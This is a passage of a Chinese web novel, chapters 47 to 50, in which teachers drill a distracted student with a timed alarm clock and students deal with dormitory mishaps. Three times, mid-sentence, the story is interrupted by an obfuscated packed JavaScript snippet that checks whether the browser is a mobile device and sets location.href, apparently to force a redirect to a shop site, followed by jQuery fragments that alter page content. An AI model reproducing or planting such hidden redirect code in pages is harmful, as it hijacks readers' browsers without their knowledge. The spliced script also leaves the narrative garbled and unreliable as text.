“你现在就按这个计划表的强度走,不死也得脱半层皮。” 冯少爷自由散漫惯了,就算是中考复习那会儿,每天要填的知识密度远不及现在的十分之一。 再加上高一荒废了一整年,脑细胞都快退化得差不多了。前几个月说是收心,那确实也比以前努力。但他上课总会时不时地打一会盹儿也是不争的事实。 为他上课的老师也基本会选择睁一只眼闭一只眼,给他小眯个五六分钟,再飘到他的身边拍醒他——毕竟,谁都知道,这已经是目前他力所能及的极限,想要在一两个月内就跟上顶尖学霸的节奏简直是天方夜谭。 如果鲤鱼一跃便能跃过龙门,那天下食物链早该乱套完了。所谓咸鱼翻身还是咸鱼,与其想那些不切实际地歪门邪道,不如去脚踏实地地积累,高考黑马在大学被碾压的故事可不中听。 “我知道,唐老师,我都知道……但我总要再逼自己一把是不是。魏浩他们想赢西德想得快疯了,自己都拼得不行,还要带上我这个秤砣,他们还以为能骗过我吗。” “这是一次最能直观感受到压力的考试,能逼着我打起精神,提高注意力,铁山太安逸了,很少能感受到紧迫感,我学习内驱力不如他们,需要外界的压力。” “所以,严鹏飞提出比最终成绩,是希望我能在这短期时限中多学一点,为之后的初赛做准备。”冯熠叹了一口气,“人人都不看好我,可是怎么办呢,我也想进复赛拿奖牌。” 47. 第 47 章 “在正式开始之前,我要先问问,你平时是喝茶精神一点还是喝咖啡精神一点?”唐瑜嫣撑着头,和冯熠隔桌相望。 昨天答应完他的请求后,唐瑜嫣连夜备课,还把当年期末周复习用的ppt从云端翻出来了,当年花几百大洋充的年费会员可算是没白充。 “茶?喝星爸爸装x装多了,喝出抗体来了。”冯熠眼巴巴地望着她。 “就知道你会选茶!” “请允许我隆重向你推荐,你眼前这包由西德校长亲手赠送,据说选自海拔1173米的逆海拔古茶园,每年只被允许采摘4.2小时,在大师左手无名指温度达36.7℃的临界点时离枝,每9克封装在由贝加尔湖冰芯提取的晶体管中的自然灵茶。” 宋飞珑小心翼翼地将这珍品茶包从礼品袋中捧出,向冯熠360度旋转展示。 “是…是吗?这么厉害的吗?”冯熠的目光跟随着茶包转了一大圈,颇为犹疑地开口,“可是宋校,我怎么觉得这个包装长得这么熟悉呢?跟我爸上次说喝起来像泔水的茶叶一模一样。” “可能是你爸买到山寨货了吧!”宋飞珑睁着眼睛说瞎话,“西德校长怎么可能欺负我们不识货呢?来,小冯,我拿玻璃杯给你泡上。” “唉?谢谢宋校,谢谢宋校,我这……哎呀……怪不好意思的!校长给我端茶倒水呢!”冯熠受宠若惊地挠挠头,接过这杯热气腾腾的绿茶,浑身上下透着一股傻气。 在他看不见的背后,宋飞珑高兴地跟唐瑜嫣挤眉弄眼——老天,终于把这一块钱两斤的茶送出去了,拿玻璃茶壶泡都嫌渣滓难清理! 怎么还有人忽悠自己的学生啊……唐瑜嫣捏了捏眉心,真真是天道不古,呜呼哀哉! “好了,我们直入主题。我大概了解了一下你目前的情况,除了还有几个板块还没学完以外,你现在最大的问题是,写题的时候很容易走神,然后每次答题的进度都比别人慢一大截,是不是?” “嗯…我一考试就容易浮想联翩,还容易受别人影响,别人一翻卷,我就感觉浑身有蚂蚁在爬。” “如果非要形容的话,大概就是,卧槽,怎么全翻卷了,这么简单吗?是我太菜了还是想太多了?” 唐瑜嫣点头认可他这个语气助词的精准度,“那你中考的时候怎么解决这个问题的?” “嗯……能不提中考了吗?我觉得那简直就是个奇迹,我简直就是个超人!哎呀,我也没用什么弯弯绕绕的法子,翻卷翻得比周围人都快就好了呗!”冯熠一拍桌子,颇为神气地扬起头。 “……” 行,力大砖飞,火力充足,干翻一切怪力乱神。但他到底是怎么做到又走神又竞速的?唐瑜嫣心里升起几分荒谬。 “好的那我们直接跳过这个方案,你现在不被流弹砸死都算幸运。”她从装茶叶的礼品袋中掏出一个钟,设定了一个时间。 “鉴于你个人写练习题的状态不佳,我免费赠予你几天练习监督服务,让你感受在两位监考老师眼皮子底下写题的刺激感,你可以尽情表达内心的感动了。” “至于这个钟,我定了三分钟的时,你每写五题拍一次,注意是写完五题才能拍,没写完就算它在你桌子上蹦迪,你也要听着它蹦。” “哦,别想着乱写跳过,你面前的两个人都写过这套卷子,你从哪开始乱填的,我们一眼就能看出来。” “那万一我真不会怎么办?”冯少爷显得愈发弱小无助可怜。 “猜,我管你什么三长一短选最短,三短一长选最长,四项相同就选c。哦,生物竞赛是不定项选择题是吗,那你就看眼缘选,你平时选什么正确率高,反正就不能空着。” “行了,你先写了再说。先提醒一下,酒店会议室太安静了,我们待会儿会给你放点白噪音。”唐瑜嫣利落地把闹钟拍开,倒计时从3:00开始往下跳。 “啊?啊!怎么这么快?”冯熠的注意力立马转移到这每秒跳一下的定时炸弹上,东一只笔,西一只橡皮地往外掏东西,手忙脚乱。 “已经2分40秒了哦!小冯你还要再翻的话,五题都可要听着铃声写啦。”宋飞珑笑中带了些揶揄,“当然,你也可以把我的话当垃圾话啦!” 冯熠冷汗直流,把笔盒往旁边一丢就开始看题。但越是这样越写不进去,某一瞬间他甚至以为自己得了什么文字阅读障碍。 “阅读障碍……是大脑哪个区域受损来着?w区,r区,write(写),read(读),那应该是r区……完蛋了我怎么又开始胡思乱想了!”他绝望地猛灌了一口茶,试图把脑子里的杂念给冲干净。 “我去,这茶好涩……一定不是宋校泡茶的手法问题,一定是茶多酚太多和□□的协同作用。 好的,一开始写题,大脑里的知识一个两个都生怕自己起得是正面作用而不是添乱,齐齐出来开party了。 他拼尽全力终于写完了两题,然后闹钟响了——恍若春日惊蛰,震天撼地,正所谓天雷勾地火,一朝撞破九重天。 冯熠被这连带着桌子的疯狂震动震得死去活来,下意识去拍闹钟,一抬头就见唐瑜嫣似笑非笑的脸,哆嗦了一下,又把手收了回去。 尖锐的铃响攻击着他的耳膜,他也顾不上思考这又是什么骨传导系统了,捂着离闹钟近的半边耳朵,速度把下面三题解决,拍下按钮,松一口气。 “你先别着急着乐,又开始倒计时了呢。”他伟大宋校的声音又从前面传来。 “宋校,这就是你们说的白噪音吗!”冯熠悲愤地继续读题,“白噪音不应该是移桌子椅子、按笔、鸟叫、翻卷子的声音吗?” “对啊,这是噪音,准备的白噪音还没开始放呢。但你看,你现在还有闲心跟我举例子呢!” “我这种有一句没一句的干扰你都扛不住,万一你在考场上撞到鼻炎感冒打喷嚏的,连擤两小时鼻涕又该怎么办?你别指望着老师会把他撵出考场。” “把注意力集中到卷子上,小冯,别管别人在做什么。”宋飞珑笑眯眯地看着他。 “你好欠。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406496|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”看着冯熠绷着脸一句话也不敢说,低着头在试卷上圈着选项的英勇身姿,唐瑜嫣踩了宋飞珑一脚,并甩了条手机消息过去。 “怎么能这么说呢,我可是专程过来当免费顾问的,一定要让各位亲有物超所值的感觉啊!”宋飞珑见她掏手机,也拿出手机跟她头碰头。 宋飞珑:我原本还想叫你开手机震动呢,给他模拟一下考场翻卷。 唐瑜嫣:??什么意思 宋飞珑:他要是写得快,我就把所有话全浓缩在一条消息里,你手机震动频率就低。 宋飞珑:他要是写得慢 宋飞珑:我就这么发 宋飞珑:一条一条 宋飞珑:让他感受一下 宋飞珑:后面有人追着他的 宋飞珑:感觉 唐瑜嫣:…… 唐瑜嫣:好有毛病,真的。 唐瑜嫣:今天放他一马,下次再这么干,他今天跟闹钟打明白都够呛。 她才把这句话发出去,冯熠桌上的闹钟不出意料地又开始抽风,不过这回才震了几下就熄火了。 唐瑜嫣揉揉耳朵,“你从哪搞来这个破闹钟的,先不说他,我的耳朵都要被震聋了。” “二手市场淘的,这古董转了好几手了。是不是很厉害,专治那些妈见打的小孩!{得意}{得意}{得意}” “你到底是怎么给别人留下英明神武这种印象的,要我说还是超级幼稚狂更适合你。”唐瑜嫣一下子被这三个一字排开的墨镜闪瞎了眼。 “这还不简单,另辟蹊径又能达成目的,别人看不透过程,于是只能用是否成功来评价。”宋飞珑把头靠在她的肩上蹭了蹭,“不过别人怎么看我,和我真正是个什么样的人,有关系吗?” “没有……哈!我错了,你不是幼稚狂,你是超级狂妄症重症晚期。”唐瑜嫣白眼一翻,顺手把肩上那团拱来拱去的头发揉成鸡窝。对方立马举手抗议,却被她毫不留情地拍下去。 这一拍把宋飞珑拍精神了,他“腾”地一下拔地而起,又把还没完全进入状态的冯熠吓出了个激灵,“宋校…放过我……我心脏……有点不好……我求你了……” “我愿意放过你,考试中途非要上厕所的兄台可不愿意多夹一小时膀胱。” 宋飞珑随口搭了句,顶着鸡窝头像幽灵一样飘出会议室,又以迅雷不及掩耳之势窜了回来,手上还攥了些什么妙妙小道具,横插进唐瑜嫣视线投向冯熠的必经之路上。 “怎么这些人都喜欢居高临下地投射阴影?”视线被阻碍,唐瑜嫣只得抬头看向眼前这堵到处写着不怀好意的新晋挡光墙,无声询问,“又怎么了?” 遇到不想回答的问题,这聒噪的鹦鹉又不说话了,独独给她比划了一个原地转身的动作,便绕到了她的身后。 “他又想干什么?”揣着满腹的诽谤,唐瑜嫣还是转了身,“也想糟蹋我的头发?我又不像他,喝个茶还要抹发胶……” “啧,我真要看看这人能对马尾整出什么幺蛾子?” 48. 第 48 章 发丝上传来的轻微拉力印证了唐瑜嫣的猜想,“……我都不大会编辫子,他真会编吗?真不是向段辰学的手术结吗?或者跟展姐学的考古队救援结?” 看来我们小唐老师的想象力并不比正在写题的那位贫瘠,才一会儿就从会议室飘到了手术台,又从手术台转到了大土坑,最终被狂震的闹钟拽回了身体躯壳。 “别响了,爹,爹,我要写完了!”冯熠的哀嚎从斜前方传来,“还有几题,磨难即将彻底结束!” “结束什么啊?你高兴太早了!小冯,静下心来,要是光写完,但没正确率,我们明天还要对点加练的。”宋飞珑的规劝及时从后脑勺斜上方传出去。 “宋校……我求你了!你要我怎么静心?我这辈子没过过这么痛苦的一个小时!” “这不是你自己想谋求突破而制定的计划吗,计划要是仅仅停留在纸上,那可就失去它的意义了!” “话可能不中听,但是,这是你自找的呀!”宋飞珑一边把唐瑜嫣的头发分成上下两半,单手用发绳将下半的头发扎成两个低马尾,又用夹子夹起上半部右侧的头发,开始在左半边捣鼓,一边回嘴调侃冯熠。 “啊啊啊啊……!宋校,恶语伤人心,快把你的话撤回!撤回!”又一阵尖锐的开水壶声,冯熠疑似用尽最后的力怪叫。 一时之间,唐瑜嫣的耳膜收到了重创,血压一下就上来了。拳头也硬邦邦的,估计是附加症状。准备听信网络专家的医嘱,服两计沙包。 啧,这俩戏班台柱子硬是把限时化学练习唱成了菜市场砍价。特别是宋鹦鹉,简直是把冯少爷当猴耍,戳一下给一个反应,老灵验了! 秉承着打不过就加入的理念,她忍不住开口:“冯熠!你还没听出他在故意气你吗!你一边吵嘴一边写作业,能静得下心才见鬼了!” “真的吗?我也没有很生气吧?我就是很崩溃,哈哈,狗日的世界!”这句话像是压倒骆驼的最后一根稻草,冯少爷闭上眼就是一通胡言乱语。 哇,学生彻底疯了。 “这可是天大的冤屈啊!”宋飞珑嘴皮子还在叭叭,手上动作加快,分出几股头发,又将它们绕在一起,“天可怜见的,我只是不想让你的话落到地上。” “现在不是你展示自己菩萨心肠的时候!请你专心编辫子,不要骚扰高中生了好吗!” “嘤,小唐你别为其他男人凶我!不然我手会抖的!”宋飞珑掉了两滴莫须有的眼泪,话里的茶味比冯熠手上那杯还浓。 “别在孩子面前发疯好吗?还有,你给我扎了个什么玩意?唐瑜嫣额角轻抽。 “你想象一下,猜一下嘛!我要给你留点悬念。” “我真猜不到……” 事实证明,人无法想象到理解之外的事情。她从未研究过神经末梢的缠绕护理,因此压根想不出这人能扭出什么独特的造型。 而且也不知他用了什么方法固定,唐瑜嫣并没有感受到发绳或是夹子出现在她的后脑勺,除了脖子会被冷风热风轮流光顾,她暂时还没找到别的槽点。 她灵光一闪,掏出手机,翻转前置镜头,想依靠科技力量偷窥,谁想角度受限,屏幕里只出现了宋飞珑那顶鸡窝。 唐瑜嫣实在没忍住,连按了几下拍照键,记录此番生活中的小美好小确幸。 “……干什么干什么,怎么还拍起照了,十元一张啊!请支持我的正版肖像权!”宋飞珑中气十足地吆喝,表示要就地摆摊。 “摆什么摊!这是景区,我给你们表演原始智人写作业还没收费呢!我求两位请不要再秀恩爱了,这里有位母胎17年的倒霉高中生的心脏有些不舒服。” “顺带说一句,我终于写完了哈哈哈哈哈哈!”在他俩都没注意的时候,冯熠终于完成了今日的劳改任务,抒发了对两位向谈恋爱不叫纯爱叫早恋的高中生撒狗粮的成年人的鄙夷。 此人写完选择题专练所做的第一件事,便是把祸害他一个多小时的闹钟背后的电池给扣出来,与此同时发表一些不想在铁山继续混下去的言论。 “世界,安静了。”失去电源的闹钟短暂结束了它罪恶的几辈子,冯熠展开双臂,闭上眼,想要感受尘埃落定后的赞美。 “结束了吗?你是不是忘了你来找我是想让我帮什么忙?” “哇,小冯你真没谈过恋爱吗!不过你要是谈过的话,咱们第一次见面就应该在德育处了。” 两个声音一前一后响起,显然没有一个是冯熠想听的。 “……宋飞珑,你在装什么,难道你中学就谈过了?”反倒是唐瑜嫣听到宋某的问题便下意识想起身,却慢了一步被对方抢先按住肩膀。 “等等,最后一步!”宋飞珑重复刚刚的动作,把右边的头发也绕在一起,然后满意地点点头,“好了好了,我的初恋小姐,请对镜欣赏宋师傅的手艺!” “宋校手真巧啊,小唐老师变双马尾甜妹了!”冯熠目瞪口呆地打量着唐瑜的新造型。 这种偏女团风的发型,按理说应该配裙子才对,没想到和她那身休闲装搭在一起,竟有种意外的和谐,或许是本身气质在作怪。 “哎唐老师你听过最近超流行的那个词吗,冷脸萌热脸……” “我求你,你别这么形容,我担心我的教师资格证变成奶油后化开。”唐瑜嫣立马打断他,这简直是将热血青春奋斗片往惊悚恐怖的方向发展。 不过被这么一说,她也开始打量镜中的自己。反光面上的人……很好看?如果非要找形容词来描述——肤若凝脂,翩若惊鸿,可盐可甜,甜酷系妙龄少女? “啧,真是扯那王八犊子淡,我都认不出我自己了,这只是换了一个发型,还没化妆捏脸呢,那些整容的该不会每天思考一遍今天自己长什么样吧。”唐瑜嫣暗自感慨。 “唐老师,我怎么敢对您有什么非分之想呢,这是尊敬,对美的赞赏。” 冯熠突然想起什么,态度愈发谄媚。开始点头哈腰,管它真的假的反正听着都是甜的,“如果我们学校也有校花校草评选,我一定发动所有人脉将您二位投到最顶端。” 可惜甜言蜜语无法轻易打动唐瑜嫣的心房,她话锋一转,又拐回冯熠身上。 “呵,吾妻之美我者,私我也;客之美我者,欲有求于我也。是你没上过九年级下册语文必修课文,还是我海马体抽风神经错乱记差了?” “退一万步说,小冯,你接下来还有咱们之前计划好的生化突击课呢,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406497|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么刚写完练习就想溜?” 唐瑜嫣把那两条互联网学术名为芭蕾舞风双马尾的辫子往身后一甩,利落地走到讲台上,点开她熬夜改出来的ppt。 “你看你这么有精神,现在也到点儿了,既然不想休息,那咱们赶紧去上第二场,不耽误你睡前的背书计划。喏,我PPT都拷好了,在这儿呢!” 彼一点开,那专属于理科学科的清朝老片风味便扑面而来,在场所有人的脑海中同时浮现出八十年代古法做化学实验的画面。 “……今天实验用到的道具分别为,酒精灯,胶头滴管,试管,试管夹……用胶头滴管,吸取氢氧化钠溶液,滴入胆矾溶液,震荡……” 这蓝底白字480p的魔幻视频把冯熠的心脏和大脑搅得抽疼,“这鬼日程表到底是谁制定出来的!他还是人吗!” 冯公子在心底大骂魏浩三千遍,面上仍不死心,还试图和唐瑜嫣讨价还价。 “我……我,我我,姑奶奶……饶我一命吧,我今天真学不下去了,写个卷子都要了我半条命。您看,我今天也有进步不是?” “还有,那什么……您知道吗,在我眼里,您就是天底下最……” “最美丽的女人吗?”宋飞珑笑着接上,“虽然在我心里也是这样,我们小唐就算烫锡纸烫套麻袋也好看!” “不过……你不应该在如此大庭广众之下说出来……毕竟,知道太多秘密的人可活不长,你还是乖乖干好劳动改造,出来好好洗心革面,下辈子再管住自己的嘴吧!”他露出反派般的笑容。 “宋飞珑你这辈子先管住你的嘴吧!反派死于话多!你再搅浑水的话我真要把你撵出去了。” “还有你,你还敢笑?冯熠,你明天要是敢回他一句话,回一句跑五圈,跑完再回来上课。”唐瑜嫣发出鄙夷冷笑,指着他刚写完的卷子,“要我提醒你,你写错了多少题吗?” “我……” “你再回嘴试试?现在,把你生化书的封皮掀开,举起你的左右手,手心对手心,能重合是吧,OK。现在转过来,手背对手背,左右顺序是不是相反了。” 冯熠欲哭无泪但照做,“唉…唉,是哦!两只手是镜像的。” “对,正如左手和右手互为镜像却不能重合,手性分子也具有相似的特征。为了区分这类分子,化学中引入了两种重要的分类体系——R/S构型和D/L构型。” 唐瑜嫣将PPT往后翻了几页,画质骤然清晰起来——他们大学教授的ppt还是与时俱进的,只是封面被她特地换成了复古马赛克,想以此唤起冯熠内心的亲切感。 “R/S是绝对构型,可以依靠X射线衍射法、NMR法测出,我们考试无法使用仪器,便考虑官能团排序,顺时针为R,逆时针为S;D/L为相对构型,即人为规定的。” “至于官能团排序的顺序和人为规定的标准分别是什么……那就全靠你自己背了,大概规律就是元素分子质量大的在前,小的在后,双键算两个,三键算三个。” “你要是记不住,我也没办法,只能多花时间。贝多芬,背多分,虽然咱们是理科,但生物竞赛本来就逃不开背书的魔爪!”冯熠此时眼中的双马尾阎王如是总结道。 49. 第 49 章 “冯哥,您这几天怎么回来得比老严和老魏还晚?怎么,您也找咱学校的老师加班了?”听见冯熠趿拉着鞋在宿舍里游荡,有个哥们从上铺探出了个脑袋。 他们六人间原本应该是卷王和正常人对半开,以达成一种势均力敌的微妙平衡。但随着外培进入到中段,已经完全陷入全员内卷的局面,一个赛一个疯狂,睡眠时间逐渐被优化殆尽。 “什么叫……也?难道大家都找了?”冯熠闻言懒洋洋地把毛巾往肩头一搭,身子一歪靠住墙,没骨头似的抬头望向他,一边问一边有一搭没一搭地□□着牙刷。 “这不废话吗?现在来外培的不同学校的老师那么多,难得有这个机会,可以相互交流。他们好多人直接找别的学校的老师请教,当然,咱们老师也被别人抓苦力了。” 那人竖着手指在床上摇头晃脑,“真有点游学的意思了。你看老魏,都已经跟好几个学校的老师论过道了,还说要和隔壁省的一个老师义结金兰,直接拜上把子了。” “嘿,我就思忖那西德龙傲天怎么突然冲出来说要和我比划比划呢,感情你们牛逼都帮我吹天上去了!” 还没等冯熠把嘴里的泡沫吐出来,先一步霸占厕所洗澡的魏浩突然从里面蹦出来,叉着腰对床上那哥们指指点点。 “虽然我很厉害是不争的事实吧,但能不能帮我宣传点好的,比如我和隔壁省的老师研究出来一个有普适性且快几倍的解题方法!” “魏啊,我怎么觉得按你这么吹嘘,西德龙哥会更早找上门来呢!”冯熠腾腾腾跑到水池边,把一嘴的泡泡代谢出去,又过了几遍水,绕了一大圈后又转回魏浩身边。 “我这怎么就叫吹嘘了,这是在描述不争的事实。你们帮我宣传的是什么,还拜把子忘年交上了,造谣啊造谣!”魏浩嫌弃地拍开冯熠两只沾满水的手,一本正经阐述两者间的区别。 “行行行,你字多你有理。”床上那人笑呵呵地摆手,“话说,你们学得怎么样了,考得过龙哥不。” “必须的啊,小小龙哥,直接拿捏。”魏浩想着上午考试的成绩,狠狠嘲笑,“他今儿写那卷子,有道大题,算到最后抄错了个数。” “他看见卷子那叉还老不服气,和教授理论了大半个小时他没做错,扯到最后终于发现自己的7抄成了1,哎哟,那脸都绿了。” “哎哟,就爱听这种数学笑话,好听多讲!”另外两个窝在床上的哥们也掀开蚊帐,劈里啪啦地鼓起掌,“嘿,这么说的话,咱们胜利在望啊。” 要不说人不轻狂枉少年呢,连半场开香槟立flag的诅咒都敢硬扛。 “那可不……嘿,既然大家都回来了,最后上床的记得关灯哈!” “唉……可叹我这掌灯使,如今大权旁落,眼见就要被那冯氏蚕食殆尽了。”魏浩同猴一般身手矫健地窜上床,“这世事无常又多艰,我道人生如浮萍啊。” 冯熠目瞪口呆地看着这四个疯狂把被子往身上堆的舍友,半晌才反应过来,“我们宿舍不是还有一个人吗?老严呢?他上厕所掉坑里了?” “呃……没有,他去隔壁宿舍楼打水了。”魏浩看起来有些无语。 “隔壁?咱们宿舍楼一楼不是也有饮水机吗?”冯熠不解,“算了算了,至少有人帮我垫底了,我不要才关灯!” 说到这个打水,严鹏飞简直无语至极。 他走在走廊上的时候,心里还在奇怪,是谁把饮水间的门给关上了。按理来说那扇门常年敞着,以方便大晚上出来起夜的兄弟找路。 不过见里面还亮着光,他也没过多纠结,毕竟也没听说西德以前发生过什么事,高低也不可能给他撞上都市传说。 想到这,他没有丝毫犹豫地按下把手,把门推开。还没等眼睛适应光亮呢,两声尖叫声便从里面杀出来,如天雷般痛击他的天灵盖。 “……”这是在干什么,大半夜的,都超多少分贝了? 他眨了眨眼,终于看清了眼前的场景。哇,这真靠了他奶奶个腿,看见了不如不看,他恨不得把自己眼睛戳瞎。 ——有一个分离焦虑症重症患者把自己的女朋友拐来了男生宿舍,此时正是你侬我侬,情正浓时。两人卿卿我我,含情脉脉,从风花扯到雪月,从现在承诺到未来。 不得不说,严鹏飞闯进来的时间真是巧上加巧,这俩小鸳鸯上下几片嘴皮子都快呼啦到一块了,两对四肢更是搅成了八爪鱼,一时之间分都分不开。 “……”谁来告诉他在这种尴尬的情况下应该说什么?《更高更妙的日常语言文字艺术》上也没教啊! ……所以冯熠他们平时怎么是做的,冲上去勾肩搭背再来一句,哥们,打扰了,你继续吗?哈哈,那别说这辈子,下辈子也该有了。 安静,太安静了……诡异的气氛在室内蔓延。不知到底是严鹏飞的脸色更臭一点,还是那对情侣的表情更精彩一点。 一人一鱼(或许也能叫三人)面面相觑,大眼瞪小眼相互打量了好几十秒,反正谁也不做第一个开口的那个,试图把尴尬留给别人。 “……”严鹏飞实在不知道该表示些什么了。既然做什么都多余,那何必多余做?他索性一声不吭,转身关门离去。 “?”他这么干脆地离去,反而把那对情侣给整不会了,不是,真就一句话不说,进来当冰块的吗? “嘿,哥们,那什么,别告诉老师啊!”那男生见他犹入无人之境般进出,脚步都没顿一下,突然有些慌了,我去,这人心态这么稳定吗? 他费尽心力,终于是理清了自己的四肢,手脚并用地爬到了饮水间的门口,对着严鹏飞的背影大喊。 “……”严鹏飞简直是麻木到不能再麻木,怎么,你还嫌不够丢人,喊这么大声,是想让整个宿舍楼都知道你有一个不能告诉老师的小秘密吗? 可是他是真需要摄入水分,冬天开暖空调,室内空气太干燥,那空调又正对着他的床吹,现在喉咙干得快冒烟了。 自己这栋楼的饮水机是指望不上了。他只得从他们宿舍楼转移到对面宿舍楼,还没来得及踏进去,就瞥见了通知栏上的粉色公告:从昨天到下周一,整个合围内,除他们宿舍楼外,剩下所有的饮水机都在等待维修。 “……”这又是?严鹏飞感觉自己举个马克杯在这到处乱晃的幽默程度,并不亚于大爷蒙着眼睛在小区摸黑找狗。 不是,为什么那对小情侣非要在唯一正常运营的饮水间谈情说爱,找个肯定没人的地方不好吗,况且现在还有现成的巢穴。 算了,还是去教学楼打水吧,教学楼的饮水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406498|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机好歹是摆在走廊上的,总不至于再撞上这种八大碗狗血来回浇头的事件。 想到这,他浑身散发着寒气,机械地转身刷脸出门,开始新一轮800米长途跋涉。 哦,你问散发寒气?真不是他高冷,只是…… “严鹏飞?这么晚了,你怎么就披了外套在外面晃悠,不冷吗?”一道女声从旁边传来,话音里还夹杂着几个含糊的哈欠。 严鹏飞转头一看,好嘛,是小唐老师,哦不,应该是又扎出新造型的小唐老师。她最近一天一个新发型,大家还在打赌到底是她自己扎的,还是宋校帮她扎的。 选前者是相信她的动手能力,选后者是认为这种小事犯不上她亲自动手,毕竟她是为了多睡几分钟,宁愿顶着原生脸蛋出门的类型。 “……我来打水。” “你们宿舍楼里没有饮水间吗?” 唐瑜嫣有些惊诧,这是最基本的生活设施吧,难道每次想喝水都要跑来教学楼一趟吗? 她刚把冯熠从酒店会议室送回来,突然想起自己的教案本被丢在这边的临时休息室了。 啧,既然都走到了楼底下了,那不如高抬贵脚,勉强上个楼,把本子接回家,让它孤零零地呆在空房间怪残忍的。 于是乎,无巧不成书,这会儿她刚教学楼里面晃出来,这才迎面撞上了来找水源的严鹏飞。 看见他如此清凉慵懒的穿搭,唐瑜嫣诧异地想,难道这孩子也到了要风度没温度的年纪?睡衣加长款羽绒服,这是什么新潮流吗? 那睡衣内衬薄得透风,看着都替人冷得慌,风要是再多吹一会儿,怕是真要失温了——然后严鹏飞面无表情地打了一个哆嗦。 唐瑜嫣见状立马上下翻了一圈口袋,摸出一片还没拆封的暖宝宝,撕开扔他手上,“喏,贴身上,衣服裹好一点,别感冒了。” “……谢谢唐老师,我马上回去。”严鹏飞被冻得丧失了所有说话的欲望,把暖宝宝“啪”地往肚子上一拍,又将双手交叠在身上唯一热源上,朝唐瑜嫣点点头,继续向她身后的教学楼迈进。 这孩子,等他打完热水回宿舍,热力学第二定律一循环,热的又成冷的了…… 唐瑜嫣有些无奈地摇摇头,突然想起什么,转头往身后望,发现他早已飘出几十米远。 “严……”挽留的话才刚说出口,一驾小轿车就突然窜到了眼前。 “滴滴!”缓缓降下的车窗后,探出了宋飞珑的脸。他把手搭在车沿,笑着看她,“该回去休息了,这位已经上了一整天班的女士。” “……行,你是司机你厉害。”耽误了好几秒,严鹏飞人都跑没影了,唐瑜嫣想了想还是决定暂时放过他,也放过自己,睡一觉起来再开始讨论。 她刚搭上门把手,宋飞珑就开始解安全带。她急忙开口劝阻:“哎,这么冷,你别下来了,我有手,开个车门还是绰绰有余的。” “好吧好吧……我刚刚好像看见小严了,这么晚他还往教学楼跑吗?”见她已经坐进来系好了安全带,宋飞珑只好放弃了亲自下车接她的念头,转动方向盘,一脚油门踩出去。 “哦,他来打水。唉,这孩子跑太快了,我原本有事想找他来着,明天再说吧。”唐瑜嫣躺在副驾上看着他的侧脸,若有所思地回复。 50. 第 50 章 “小唐老师,您找我?” “哦对,坐吧。” “太热的话可以把外套脱了。”临时办公室里暖气很足,严鹏飞一进来就被吹热了脸。 担心他又像上次那样,屁股刚挨着板凳,就一句话也憋不出来了。于是在他把外套披在椅子背上的时候,唐瑜嫣率先开口,打算缓和一下气氛,“昨天晚上……” “没事,小唐老师,暂时没有发烧的预兆,感谢您危急之中送来的暖宝宝。”严鹏飞一听到“昨天晚上”这四个字就开始应激,立马把整个身子转了回来。 本来一觉醒来,神经防御系统发力,他已经将那幅一言难尽的画面抛至脑后。没想到今天下楼的时候,又给他迎面撞上了那位八爪鱼哥。 这哥们也不负所望,在看见他的第一秒就认出他是昨晚那个打水哥,立马同见鬼一般捂着脸冲出宿舍楼。 腿在奔跑,喉咙也不闲着,留了下一路锐利的尖叫。 他是逃跑了,反倒留下了尴尬立在原地,享受周围所有人奇异视线的严鹏飞。 “……”严鹏飞恨不得打个地洞原地消失,这都什么事啊。 幸好今天身旁有几个嘴替,帮他跟周围人寒暄了一会儿,把他救出了修罗场,不然他真要被各大门派围攻光明顶,彻底社会性飞升了。 察觉到他明显的回避,唐瑜嫣索性死了想活跃气氛的心,开始单刀直入:“我是想问,你最近在学习或者生活上有什么问题吗?” 严鹏飞听完这句话,眼底闪过一丝惊讶,里面仿佛映着我一个单科第一能有什么问题,“没有,我们宿舍楼有饮水机,只是最近在维修。”那没有学习上的问题,只能说说生活上的问题了。 “重点不是这个……”唐瑜嫣有些无奈地解释,“我是想说,你要是有不懂的问题可以问我们,不仅是我,老陈,还是别的化学老师,都可以。” “……我没有什么想问的,”似乎觉得这句话说得太过,严鹏飞又补了一句,“不会的我自己也能搞懂,不需要麻烦老师。” “嗯?原来你觉得找老师帮忙是一种麻烦吗?”唐瑜嫣开始思考他身上的违和感,试探性地说:“其实没有,我不觉得麻烦,寓教于学是一种双向的过程,不仅能让你少走弯路,对我专业技能的提升帮助也很大。” “老陈就更不用提了,他巴不得你去向他问问题,他就喜欢为学生解疑答惑。” “我没有……只是一种习惯,我已经习惯了这种学习模式而已,没有抵触问问题的意思。”严鹏飞顿了一下,有些试探性地问,“有什么问题吗,小唐老师?” 